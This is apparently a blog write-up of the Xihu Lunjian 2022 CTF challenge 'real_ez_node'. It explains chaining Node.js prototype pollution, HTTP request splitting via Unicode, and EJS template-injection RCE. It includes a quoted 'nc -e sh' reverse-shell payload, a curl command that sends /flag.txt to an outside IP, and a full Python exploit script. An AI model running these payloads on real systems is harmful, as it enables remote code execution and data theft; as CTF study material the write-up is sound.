首页 > 编程语言 >[西湖论剑 2022]real_ez_node

[西湖论剑 2022]real_ez_node

时间:2023-03-11 17:36:04浏览次数:53  
标签:real node index process res req __ error 论剑

[西湖论剑 2022]real_ez_node

看了很久没做出来,最后还是看着大佬的WP做出来的,初次接触到nodejs原型链污染这个方面的漏洞

/route/index.js /copy路由部分

router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }

这一小段代码,基本上可以确定确定是原型链污染

从大佬文章里面Get新姿势 !ip.includes('127.0.0.1'

访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求

!index.includes("__proto__")constructor.prototype 替代 __proto__

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

EJS引擎导致的RCE漏洞 EJS, Server side template injection RCE (CVE-2022-29078) - writeup

直接借用里面的Payload

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

构造个原型链污染 outputFunctionName

为RCE代码

x;global.process.mainModule.require('child_process').exec('curl 198.13.42.139:5431/`cat /flag.txt`');var x

Payload

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 198.13.42.139:5431/`cat /flag.txt`');var x"}

nodejs<=8 的情况下存在 Unicode 字符损坏导致的 HTTP 拆分攻击,nodejs 不会对这些 Unicode 进行编码转义,因为它们不是 HTTP 控制字符

所以还要进行转义程Unicode

最终借鉴一下大佬的脚本

import urllib.parse
import requests
payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 我的IP:我的端口/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")


def encode(data):
    tmp = u""
    for i in data:
        tmp += chr(0x0100 + ord(i))
    return tmp


payload = encode(payload)
print(payload)

r = requests.get('http://1.14.71.254:28102/curl?q=' + urllib.parse.quote(payload))
print(r.text)

成功反弹

这题知识点太多,自己学了好几天,nodejs原型链污染也是第一次接触。。当时比赛时候就没做出来555

标签:real,node,index,process,res,req,__,error,论剑
From: https://www.cnblogs.com/0xo0Kerk/p/17206513.html

相关文章

  • node.js安装与使用
    Node.js点击下载历史版本#查看版本node-vnpm-v#npm升级npminstall-gnpm卸载#控制面板卸载node.js#删除`C:\Users\cherf\AppData\Roaming`目录下的......
  • mac 管理使用多个版本node
    在项目开发中,可能不同项目使用的node版本不同,而不同版本的node之间又有兼容性的问题。因此,大部分时候,我们需要在开发不同项目时切换到不同的node版本。我们可以通过nvm来......
  • K8S 性能优化-K8S Node 参数调优
    前言K8S性能优化系列文章,本文为第四篇:KubernetesNode性能优化参数最佳实践。系列文章:《K8S性能优化-OSsysctl调优》《K8S性能优化-K8SAPIServer调优》《......
  • K8S 性能优化-K8S Node 参数调优
    前言K8S性能优化系列文章,本文为第四篇:KubernetesNode性能优化参数最佳实践。系列文章:《K8S性能优化-OSsysctl调优》《K8S性能优化-K8SAPIServer调优》......
  • node版本控制工具nvm安装教程
    1.卸载node,后删除node文件夹里的所有内容2:安装nvm管理工具(1)下载地址:https://github.com/coreybutler/nvm-windows/releases(2)设置nvm安装目录,再设置node安装目录3......
  • 修改node项目自动重启 | nodemon工具包
    1、为什么使用nodemon(1)在编写调试Node.js项目的时候,如果修改了项目的代码,则需要频繁的手动close掉,然后再重新启动,非常繁琐。现在,我们可以使用nodemon工具包这个工......
  • Centos8安装node
    下载包wgethttps://nodejs.org/dist/v16.14.0/node-v16.14.0-linux-x64.tar.xz解压包tar-xvfnode-v16.14.0-linux-x64.tar.xz配置ln-s/opt/node-v16.14.0-linux-......
  • nodeBB 论坛系统安装配置
    nodeBB开源论坛系统安装配置参考官方文档:https://docs.nodebb.org/installing/os/ubuntu/一、安装1.1准备Ubuntu操作系统安装Ubuntu20.044GB内存硬盘300GB......
  • Node全局对象介绍
    在学习Javascript之初,会接触一个概念:JS由三部分组成,DOM+BOM+ECMAScript。其中前两者是宿主环境,也就是浏览器所提供的能力。后者才是JS语言本身的标准。在上篇文章......
  • 使用docker-compose 部署grafana + prometheus +node_exporter 实现监控
    主机环境:kali6.1(debian..)一、安装应用安装docker-compose  aptinstalldocker-compose-y安装dockersudoaptupdatesudoaptinstall-ydocker.iosudosystem......